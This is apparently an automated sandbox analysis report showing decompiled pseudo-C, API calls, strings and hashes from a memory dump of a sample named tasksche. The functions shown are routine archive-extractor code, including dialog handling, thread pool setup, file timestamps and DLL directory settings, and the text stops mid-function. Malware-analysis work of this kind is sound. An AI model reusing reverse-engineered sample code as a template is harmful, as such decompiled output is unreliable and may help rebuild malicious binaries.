0x0040d4b3
0x0040d4d6
0x0040d4e8
0x0040d4f5
0x0040d4fa
0x0040d4bd
0x0040d4be
0x00000000
0x0040d4be
0x0040d4b6
0x0040d4bc
0x00000000
0x0040d4bc
0x00000000

APIs

EndDialog.USER32(?,00000001), ref: 0040D4BE
GetDlgItemTextW.USER32(?,00000065,?,00000080), ref: 0040D4D6
SetDlgItemTextW.USER32 ref: 0040D504

Strings

GETPASSWORD1, xrefs: 0040D489

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ItemText$Dialog
String ID: GETPASSWORD1
API String ID: 1770891597-3292211884
Opcode ID: 2c39065e7e84a8441d2400259efe6a077f35be0b7a0eee454e8495a0c984ab02
Instruction ID: 3eed9e1ab7e5d8a1da33783b11a95132ac7616313df89bdc2d2bc64375715bf5
Opcode Fuzzy Hash: 2c39065e7e84a8441d2400259efe6a077f35be0b7a0eee454e8495a0c984ab02
Instruction Fuzzy Hash: 4F11CE329001187ADB219FA1AC44EFB3A6DEF59754F404036FD05B20D0C67CD96A96AA

Uniqueness

Uniqueness Score: -1.00%

Function 00410F29 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00410F29(long* __ecx, long _a4) {
				long _t11;
				void* _t14;
				long _t23;
				long* _t25;

				_t19 = __ecx;
				_t11 = _a4;
				_t23 = 0x20;
				_t25 = __ecx;
				 *__ecx = _t11;
				if(_t11 > _t23) {
					 *__ecx = _t23;
				}
				if( *_t25 == 0) {
					 *_t25 = 1;
				}
				_t25[0x21] = 0;
				if( *_t25 > _t23) {
					 *_t25 = _t23;
				}
				_t3 =  &(_t25[0x68]); // 0x1a0
				_t25[0x65] = 0;
				InitializeCriticalSection(_t3);
				_t25[0x66] = CreateSemaphoreW(0, 0, _t23, 0);
				_t14 = CreateEventW(0, 1, 1, 0);
				_t25[0x67] = _t14;
				if(_t25[0x66] == 0 || _t14 == 0) {
					_push(L"\nThread pool initialization failed.");
					_push(0x4335ac);
					E00406423(_t19);
					E00406371(0x4335ac, 2);
				}
				_t25[0x63] = 0;
				_t25[0x64] = 0;
				_t25[0x22] = 0;
				return _t25;
			}

0x00410f29
0x00410f29
0x00410f32
0x00410f33
0x00410f35
0x00410f39
0x00410f3b
0x00410f3b
0x00410f41
0x00410f43
0x00410f43
0x00410f49
0x00410f51
0x00410f53
0x00410f53
0x00410f55
0x00410f5c
0x00410f62
0x00410f78
0x00410f7e
0x00410f84
0x00410f90
0x00410f96
0x00410fa0
0x00410fa1
0x00410fac
0x00410fac
0x00410fb2
0x00410fb8
0x00410fbe
0x00410fc8

APIs

InitializeCriticalSection.KERNEL32(000001A0,?,000001B8,0044F590,004110EE,00000020,?,00409901,?,?,?,0040BB60,?,?,00000000,?), ref: 00410F62
CreateSemaphoreW.KERNEL32(00000000,00000000,00000020,00000000,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED), ref: 00410F6C
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED), ref: 00410F7E

Strings

Thread pool initialization failed., xrefs: 00410F96

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 5d2de00027b14f6e07390935bc826641c20494178e34cc3b56ee4834533d8747
Instruction ID: 3f206ddc5264aa259e24750db78c3e6b08f6c9018291aa2998b68a3e9789e537
Opcode Fuzzy Hash: 5d2de00027b14f6e07390935bc826641c20494178e34cc3b56ee4834533d8747
Instruction Fuzzy Hash: FF115EB1600301AFD3305F659886BE7BBE8FB55315F60482FF6DAC6240D6B458C1CB18

Uniqueness

Uniqueness Score: -1.00%

Function 0040E6CF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E6CF(long _a4, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				long _v0;
				WCHAR* _t16;
				int _t19;
				_Unknown_base(*)()* _t25;

				 *0x441828 = _a12;
				 *0x44182c = _a16;
				 *0x441824 = _a20;
				if( *0x441830 == 0) {
					if( *0x441831 == 0) {
						_t25 = E0040DE5E;
						_t16 = L"REPLACEFILEDLG";
						while(1) {
							_t19 = DialogBoxParamW( *0x4335a4, _t16,  *0x441844, _t25, _a4);
							if(_t19 != 4) {
								break;
							}
							if(DialogBoxParamW( *0x4335a8, L"RENAMEDLG",  *0x441840, E0040D3EE, _v0) != 0) {
								break;
							}
						}
						return _t19;
					}
					return 1;
				}
				return 0;
			}

0x0040e6da
0x0040e6e3
0x0040e6ec
0x0040e6f1
0x0040e6fe
0x0040e70f
0x0040e714
0x0040e73b
0x0040e74f
0x0040e754
0x00000000
0x00000000
0x0040e739
0x00000000
0x00000000
0x0040e739
0x00000000
0x0040e75b
0x00000000
0x0040e702
0x00000000

Strings

REPLACEFILEDLG, xrefs: 0040E714, 0040E746
RENAMEDLG, xrefs: 0040E72A

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 9dc2c4e2a994375845b1e54b9a4a57574d7f38f83bee2a11927b5ffac3eaf025
Instruction ID: 0892b1485419df81b4422e2148389c4265d0283c5dc75372e36aae0ff2247616
Opcode Fuzzy Hash: 9dc2c4e2a994375845b1e54b9a4a57574d7f38f83bee2a11927b5ffac3eaf025
Instruction Fuzzy Hash: AF017576604204BFC712AB55EC44A167BD5E74A751F040837F901E32B0D3764865DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 0041E132 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 28%

			E0041E132(void* __ebx, void* __ecx, void* __edx, intOrPtr* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* __ebp;
				void* _t20;
				void* _t22;
				void* _t23;
				void* _t25;
				intOrPtr* _t26;
				void* _t27;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t23 = __ecx;
				_t22 = __ebx;
				_t30 = _a20;
				if(_a20 != 0) {
					_push(_a20);
					_push(__ebx);
					_push(__esi);
					_push(_a4);
					E0041E0A0(__ebx, __edi, __esi, _t30);
					_t28 = _t28 + 0x10;
				}
				_t31 = _a28;
				_push(_a4);
				if(_a28 != 0) {
					_push(_a28);
				} else {
					_push(_t27);
				}
				E0041A12E(_t23);
				_push( *_t26);
				_push(_a16);
				_push(_a12);
				_push(_t27);
				E0041DB1D(_t22, _t25, _t26, _t27, _t31);
				_push(0x100);
				_push(_a24);
				_push(_a16);
				 *((intOrPtr*)(_t27 + 8)) =  *((intOrPtr*)(_t26 + 4)) + 1;
				_push(_a8);
				_push(_t27);
				_push(_a4);
				_t20 = E0041DD85(_t22,  *((intOrPtr*)(_t22 + 0xc)), _t25, _t26, _t27, _t31);
				if(_t20 != 0) {
					E0041A0F5(_t20, _t27);
					return _t20;
				}
				return _t20;
			}

0x0041e132
0x0041e132
0x0041e132
0x0041e132
0x0041e132
0x0041e137
0x0041e13b
0x0041e13d
0x0041e140
0x0041e141
0x0041e142
0x0041e145
0x0041e14a
0x0041e14a
0x0041e14d
0x0041e151
0x0041e154
0x0041e159
0x0041e156
0x0041e156
0x0041e156
0x0041e15c
0x0041e161
0x0041e163
0x0041e166
0x0041e169
0x0041e16a
0x0041e172
0x0041e177
0x0041e17b
0x0041e17e
0x0041e181
0x0041e187
0x0041e188
0x0041e18b
0x0041e195
0x0041e199
0x00000000
0x0041e199
0x0041e19f

APIs

___BuildCatchObject.LIBCMT ref: 0041E145

Part of subcall function 0041E0A0: ___BuildCatchObjectHelper.LIBCMT ref: 0041E0D6

_UnwindNestedFrames.LIBCMT ref: 0041E15C
___FrameUnwindToState.LIBCMT ref: 0041E16A

Strings

csm, xrefs: 0041E141, 0041E156, 0041E169, 0041E187, 0041E197

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm
API String ID: 2163707966-1018135373
Opcode ID: ffb5442ac62a4f85a48ef68d244cd4b92cff39c7c80ea712eb3c4bba393a9d17
Instruction ID: 59b9ad28f981bea14fd5052789bebdc6dccf333051ec123e92fb5a6599f75b08
Opcode Fuzzy Hash: ffb5442ac62a4f85a48ef68d244cd4b92cff39c7c80ea712eb3c4bba393a9d17
Instruction Fuzzy Hash: 14012479401109BBDF126E52CC45EEB3F6AEF09398F044016FD1815261DB3AA8B1EBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C0F6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040C0F6(intOrPtr* __ecx) {
				char _v2052;
				struct HINSTANCE__* _t5;
				struct HRSRC__* _t6;
				signed int _t10;
				char _t12;
				intOrPtr* _t18;

				_t18 = __ecx;
				_t5 = GetModuleHandleW(0);
				_t19 = L"RTL";
				_t6 = FindResourceW(_t5, L"RTL", 5);
				if(_t6 == 0) {
					E0040BF1D(_t18, L"LTR",  &_v2052, 0x400, 1, L"LTR");
					_t10 = E0041AA21( &_v2052, _t19);
					asm("sbb al, al");
					_t12 =  ~_t10 + 1;
					 *((char*)(_t18 + 0x10)) = _t12;
					return _t12;
				}
				 *((char*)(_t18 + 0x10)) = 1;
				return _t6;
			}

0x0040c103
0x0040c105
0x0040c10d
0x0040c114
0x0040c11c
0x0040c13b
0x0040c148
0x0040c14f
0x0040c152
0x0040c155
0x00000000
0x0040c155
0x0040c11e
0x00000000

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0040C105
FindResourceW.KERNEL32(00000000,RTL,00000005), ref: 0040C114

Strings

RTL, xrefs: 0040C10D, 0040C112, 0040C146
LTR, xrefs: 0040C124, 0040C129, 0040C138

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: LTR$RTL
API String ID: 3537982541-719208805
Opcode ID: f2852aa2e9ae8da3690023ec4cfec567c4dc869793b37f459442400b2d93c3ba
Instruction ID: 3bee6f5c2cd76a6cf6446ed83b6680fa0d6a216d229c8f919e909fc3329ffe0a
Opcode Fuzzy Hash: f2852aa2e9ae8da3690023ec4cfec567c4dc869793b37f459442400b2d93c3ba
Instruction Fuzzy Hash: 69F0243238026467DA2067756C4AFE72B7CAB81310F44057AB605E71C1CFA8D499CBEE

Uniqueness

Uniqueness Score: -1.00%

Function 00423463 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E00423463() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x42b9d0;
					_v28 =  *0x42b9c8;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x00423468
0x00423470
0x00423487
0x00423433
0x0042343c
0x00423448
0x0042344b
0x0042344e
0x00423450
0x00423453
0x00423458
0x00423462
0x0042345a
0x0042345e
0x0042345e
0x00423472
0x00423478
0x00423480
0x00000000
0x00423482
0x00423482
0x00423486
0x00423486
0x00423480

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0041D860), ref: 00423468
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00423478

Strings

KERNEL32, xrefs: 00423463
IsProcessorFeaturePresent, xrefs: 00423472

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 7ab99d9e72488d8bf21e4bf78f78cc33f843bd022a3d825351adfd90e0f12518
Instruction ID: 925bd1e911d968a2cf7935e923f91739ef174afc765d351c528eb22c7f6e48fa
Opcode Fuzzy Hash: 7ab99d9e72488d8bf21e4bf78f78cc33f843bd022a3d825351adfd90e0f12518
Instruction Fuzzy Hash: C7F03060B00A1AD2DB116FA1BC1A67F7B78FB80742FD105D1D6D5E0084DF7885B1D38A

Uniqueness

Uniqueness Score: -1.00%

Function 00419A36 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00419A36(intOrPtr* __ecx, intOrPtr _a4) {
				struct _WNDCLASSEXW _v52;
				short _t17;
				intOrPtr* _t18;
				intOrPtr _t21;

				_t21 = _a4;
				_t18 = __ecx;
				_v52.cbSize = 0x30;
				_v52.style = 0x828;
				_v52.lpfnWndProc = E004199EC;
				_v52.cbClsExtra = 0;
				_v52.cbWndExtra = 0;
				_v52.hInstance = _t21;
				_v52.hIcon = 0;
				_v52.hCursor = LoadCursorW(0, 0x7f00);
				_v52.hbrBackground = 6;
				_v52.lpszMenuName = 0;
				_v52.lpszClassName = L"RarHtmlClassName";
				_v52.hIconSm = 0;
				_t17 = RegisterClassExW( &_v52);
				 *_t18 = _t21;
				return _t17;
			}

0x00419a3e
0x00419a4a
0x00419a4c
0x00419a53
0x00419a5a
0x00419a61
0x00419a64
0x00419a67
0x00419a6a
0x00419a73
0x00419a7a
0x00419a81
0x00419a84
0x00419a8b
0x00419a8e
0x00419a95
0x00419a9a

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 00419A6D
RegisterClassExW.USER32 ref: 00419A8E

Strings

0, xrefs: 00419A4C
RarHtmlClassName, xrefs: 00419A84

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$RarHtmlClassName
API String ID: 1693014935-3342523147
Opcode ID: 191bbc33d2b33050640957ba9683b50acfea39c34108bf4aa43fc12e5a7eb183
Instruction ID: b9ed7023dc6f3226d58ddf2044dfc6b29f2317d5cd4a011e6e0fd8f9270d308a
Opcode Fuzzy Hash: 191bbc33d2b33050640957ba9683b50acfea39c34108bf4aa43fc12e5a7eb183
Instruction Fuzzy Hash: 81F0F2B1D00228ABCB019F9AD844AEEFBF8FF98304F10805BE500B6250D7B916018FA9

Uniqueness

Uniqueness Score: -1.00%

Function 00410E1C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00410E1C(signed char _a4) {
				struct HINSTANCE__* _t2;

				_t2 = GetModuleHandleW(L"kernel32");
				if(_t2 != 0) {
					_t2 = GetProcAddress(_t2, "SetDllDirectoryW");
					if(_t2 != 0) {
						asm("sbb ecx, ecx");
						return _t2->i( ~(_a4 & 0x000000ff) & 0x0042a73c);
					}
				}
				return _t2;
			}

0x00410e21
0x00410e29
0x00410e31
0x00410e39
0x00410e42
0x00000000
0x00410e4b
0x00410e39
0x00410e4d

APIs

GetModuleHandleW.KERNEL32(kernel32,0040FF03,00000001), ref: 00410E21
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00410E31

Strings

SetDllDirectoryW, xrefs: 00410E2B
kernel32, xrefs: 00410E1C

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: SetDllDirectoryW$kernel32
API String ID: 1646373207-2052158636
Opcode ID: 613fa81eedf6cfefe4bb79f79fd7d80da4da150b27e50d1fb967e6d6e35de1a2
Instruction ID: d1dc000951ac042e8af12af71ac4f40d64c7c6d3e89629ddd7054994e9706fe8
Opcode Fuzzy Hash: 613fa81eedf6cfefe4bb79f79fd7d80da4da150b27e50d1fb967e6d6e35de1a2
Instruction Fuzzy Hash: 2BD0A7B03243215797282B729C1AB2B65584B50F027944D3E7E0AC0080CA6DC0A0853F

Uniqueness

Uniqueness Score: -1.00%

Function 00409135 Relevance: 6.1, APIs: 4, Instructions: 128
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00409135(WCHAR* _a4, signed int* _a8, signed int* _a12, signed int* _a16) {
				signed char _v5;
				signed char _v6;
				signed char _v7;
				char _v8;
				void* _v12;
				signed char _v16;
				void* _v24;
				void* _v32;
				void* _v40;
				short _v4136;
				signed int* _t48;
				signed int* _t49;
				signed int* _t50;
				signed char _t51;
				void* _t52;
				void* _t63;

				E0041AAF0(0x1024);
				_t48 = _a8;
				if(_t48 == 0) {
					L2:
					_v7 = 0;
				} else {
					_v7 = 1;
					if(( *_t48 | _t48[1]) == 0) {
						goto L2;
					}
				}
				_t49 = _a12;
				if(_t49 == 0) {
					L5:
					_v6 = 0;
				} else {
					_v6 = 1;
					if(( *_t49 | _t49[1]) == 0) {
						goto L5;
					}
				}
				_t50 = _a16;
				if(_t50 == 0) {
					L8:
					_v5 = 0;
				} else {
					_v5 = 1;
					if(( *_t50 | _t50[1]) == 0) {
						goto L8;
					}
				}
				_t51 = E00409041(_a4);
				_v16 = _t51;
				if(_t51 == 0xffffffff || (_t51 & 0x00000001) == 0) {
					_v8 = 0;
				} else {
					_v8 = 1;
					E0040908D(_a4, 0);
				}
				_t52 = CreateFileW(_a4, 0x40000000, 3, 0, 3, 0x2000000, 0);
				_v12 = _t52;
				if(_t52 != 0xffffffff) {
					L15:
					if(_v7 != 0) {
						E00411346(_a8,  &_v40);
					}
					if(_v6 != 0) {
						E00411346(_a12,  &_v32);
					}
					if(_v5 != 0) {
						E00411346(_a16,  &_v24);
					}
					asm("sbb eax, eax");
					asm("sbb eax, eax");
					asm("sbb eax, eax");
					SetFileTime(_v12,  ~(_v6 & 0x000000ff) &  &_v32,  ~(_v5 & 0x000000ff) &  &_v24,  ~(_v7 & 0x000000ff) &  &_v40);
					_t63 = CloseHandle(_v12);
					if(_v8 != 0) {
						return E0040908D(_a4, _v16);
					}
				} else {
					_t63 = E0040A3DC(_a4,  &_v4136, 0x800);
					if(_t63 != 0) {
						_t63 = CreateFileW( &_v4136, 0x40000000, 3, 0, 3, 0x2000000, 0);
						_v12 = _t63;
						if(_t63 != 0xffffffff) {
							goto L15;
						}
					}
				}
				return _t63;
			}

0x0040913d
0x00409142
0x0040914c
0x00409159
0x00409159
0x0040914e
0x00409153
0x00409157
0x00000000
0x00000000
0x00409157
0x0040915d
0x00409162
0x0040916f
0x0040916f
0x00409164
0x00409169
0x0040916d
0x00000000
0x00000000
0x0040916d
0x00409173
0x00409178
0x00409185
0x00409185
0x0040917a
0x0040917f
0x00409183
0x00000000
0x00000000
0x00409183
0x0040918c
0x00409191
0x00409197
0x0040929c
0x004091a5
0x004091a9
0x004091ad
0x004091ad
0x004091cd
0x004091cf
0x004091d5
0x00409212
0x00409216
0x0040921f
0x0040921f
0x00409228
0x00409231
0x00409231
0x0040923a
0x00409243
0x00409243
0x0040924e
0x0040925c
0x0040926a
0x00409275
0x0040927e
0x00409288
0x00000000
0x00409290
0x004091d7
0x004091e6
0x004091ed
0x00409204
0x00409206
0x0040920c
0x00000000
0x00000000
0x0040920c
0x004091ed
0x00409299

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,?,?,00407536,?,?,?), ref: 004091CD
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00407536,?,?,?,?), ref: 00409204
SetFileTime.KERNEL32(?,00000000,00000000,00000000,?,00407536,?,?,?,?), ref: 00409275
CloseHandle.KERNEL32(?,?,00407536,?,?,?,?), ref: 0040927E

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 6a8276f57ee53cdbc91cc020f39a17d418f5c9fb0df3296a94224ec9e042af11
Instruction ID: 149005b1c5d3a5dbb79089aff48ec9cca0dae1d541df05bff41c4f18bd56acf5
Opcode Fuzzy Hash: 6a8276f57ee53cdbc91cc020f39a17d418f5c9fb0df3296a94224ec9e042af11
Instruction Fuzzy Hash: 1141A131A00248BEEF12DBA4CC49FEE7BB89F05304F1445AAF851BB2D2C6789E45D755

Uniqueness

Uniqueness Score: -1.00%

Function 00424FCE Relevance: 6.1, APIs: 4, Instructions: 103
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00424FCE(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E0041D0C8( &_v20, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E00422793( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E0041EDAE(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
